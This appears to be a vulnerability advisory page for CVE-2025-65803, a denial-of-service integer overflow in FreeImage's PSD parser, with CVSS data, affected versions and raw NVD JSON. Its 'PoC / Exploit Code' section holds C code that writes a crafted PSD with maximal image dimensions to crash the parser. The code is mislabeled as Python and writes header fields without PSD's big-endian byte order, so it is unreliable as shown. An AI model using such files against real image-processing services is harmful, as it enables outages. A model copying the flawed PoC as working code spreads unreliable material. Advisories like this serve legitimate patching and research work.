Security Vulnerability Report
中文
CVE-2025-65803 CVSS 6.5 MEDIUM

CVE-2025-65803

Published: 2025-12-10 16:16:27
Last Modified: 2025-12-17 18:42:20

Description

An integer overflow in the psdParser::ReadImageData function of FreeImage v3.18.0 and before allows attackers to cause a Denial of Service (DoS) via supplying a crafted PSD file.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:freeimage_project:freeimage:*:*:*:*:*:*:*:* - VULNERABLE
FreeImage < 3.18.0
FreeImage 3.18.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <string.h> // PSD file header structure #pragma pack(push, 1) typedef struct { char signature[4]; // '8BPS' unsigned short version; // 1 char reserved[6]; // must be zero unsigned short channels;// number of channels (1-56) unsigned int height; // height of image unsigned int width; // width of image unsigned short depth; // bits per channel unsigned short mode; // color mode } PSD_HEADER; // Create malicious PSD file to trigger integer overflow in psdParser::ReadImageData void create_malicious_psd(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) return; PSD_HEADER header; memset(&header, 0, sizeof(header)); // PSD signature memcpy(header.signature, "8BPS", 4); header.version = 1; // Trigger integer overflow: set large dimensions // that cause overflow when calculating buffer size header.channels = 4; header.height = 0xFFFFFFFF; // Max value to trigger overflow header.width = 0xFFFFFFFF; // Max value to trigger overflow header.depth = 8; header.mode = 3; // RGB mode fwrite(&header, sizeof(header), 1, fp); // Add minimal color mode data section unsigned int color_mode_data_length = 0; fwrite(&color_mode_data_length, 4, 1, fp); // Add image resources section unsigned int image_resources_length = 0; fwrite(&image_resources_length, 4, 1, fp); // Add layer and mask data section unsigned int layer_mask_length = 0; fwrite(&layer_mask_length, 4, 1, fp); // Add compressed image data that will cause overflow unsigned char compression = 0; // Raw data fwrite(&compression, 1, 1, fp); // Write minimal data unsigned char data[16] = {0}; fwrite(data, 16, 1, fp); fclose(fp); printf("Malicious PSD file created: %s\n", filename); } int main() { create_malicious_psd("malicious.psd"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65803", "sourceIdentifier": "[email protected]", "published": "2025-12-10T16:16:27.253", "lastModified": "2025-12-17T18:42:19.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An integer overflow in the psdParser::ReadImageData function of FreeImage v3.18.0 and before allows attackers to cause a Denial of Service (DoS) via supplying a crafted PSD file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freeimage_project:freeimage:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.18.0", "matchCriteriaId": "D8A52BFD-26A4-4E66-89BD-579332011CBC"}]}]}], "references": [{"url": "https://freeimage.sourceforge.io/download.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gist.github.com/1mxml/cabd6d972557d9d992fe5f4f6ca1dd87", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}